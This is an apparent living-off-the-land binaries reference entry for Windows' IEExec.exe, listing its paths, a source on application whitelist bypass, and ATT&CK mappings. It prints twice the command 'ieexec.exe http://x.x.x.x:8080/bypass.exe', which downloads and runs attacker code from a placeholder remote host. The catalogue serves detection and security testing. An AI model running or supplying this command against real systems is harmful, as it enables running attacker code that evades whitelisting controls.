.. /Ieexec.exe
Star

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

Resources:

https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

Acknowledgements:

Casey Smith (@subtee)

Detection:

Download

Downloads and executes bypass.exe from the remote server.
```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```
Use case
Download and run attacker code from remote location

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique
T1105

Execute

Downloads and executes bypass.exe from the remote server.
```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```
Use case
Download and run attacker code from remote location

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique
T1218